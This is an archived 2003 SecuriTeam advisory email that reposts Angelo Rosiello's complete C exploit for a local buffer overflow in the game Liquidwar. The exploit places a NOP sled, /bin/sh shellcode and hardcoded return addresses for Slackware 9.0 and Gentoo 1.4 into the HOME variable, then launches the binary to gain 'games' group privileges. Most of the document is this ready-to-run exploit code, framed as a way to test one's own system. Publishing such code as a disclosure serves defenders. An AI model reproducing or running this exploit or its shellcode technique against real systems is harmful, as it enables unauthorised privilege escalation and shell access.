

# [EXPL] Exploit Code Released for Buffer Overflow in Liquidwar

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-09/0063.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 09/17/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 17 Sep 2003 16:53:51 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Exploit Code Released for Buffer Overflow in Liquidwar

---

## SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/unixfocus/5EP0E1PB5U.html>> Buffer Overflow in Liquidwar, a locally exploitable buffer overflow allows attackers to gain 'games' group privileges. The following exploit code can be used to test your system for the mentioned vulnerability.

## DETAILS

Exploit:

/\*

\*

\* <http://www.rosiello.org>

\* (c) Rosiello Security

\*

\* Copyright Rosiello Security 2003

\* All Rights reserved.

\*

\* Tested on Slakware 9.0.0 & Gentoo 1.4

\*

## Securiteam: [EXPL] Exploit Code Released for Buffer Overflow in Liquidwar

```
* Author: Angelo Rosiello
* Mail : angelo@rosiello.org
* URL : http://www.rosiello.org
*
* Greetz: Astharot by Zone-H who posted the stack overflow bug
*
*/
```

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
```

```
/* /bin/sh */
static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
```

```
#define NOP 0x90
#define LEN 520 //Buffer for Slackware 9.0.0
//define LEN 528 //Buffer for Gentoo 1.4
#define RET 0xbffff414 //Valid Address for Slackware 9.0.0
//define RET 0xbffff360 //Valid Address for Gentoo 1.4
```

```
int main()
{
    char buffer[LEN];
    long retaddr = RET;
    int i;

    fprintf(stderr, "\n(c) Rosiello Security 2003 –
http://www.rosiello.org");
    fprintf(stderr, "Liquidwar's exploit for Slackware 9.0.0\n");
    fprintf(stderr, "by Angelo Rosiello – angelo@rosiello.org\n\n");
    fprintf(stderr, "using address 0x%lx\n",retaddr);

    for (i=0;i<LEN;i+=4) *(long *)&buffer[i] = retaddr;

    for (i=0;i<(LEN-strlen(shellcode)-50);i++) *(buffer+i) = NOP;

    memcpy(buffer+i,shellcode,strlen(shellcode));

    /* export the variable, run liquidwar */

    setenv("HOME", buffer, 1);
    execl("/usr/games/liquidwar", "liquidwar", NULL);

    return 0;
}
```

ADDITIONAL INFORMATION

Securiteam: [EXPL] Exploit Code Released for Buffer Overflow in Liquidwar

The information has been provided by <mailto:angelo@rosiello.org> Angelo Rosiello.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.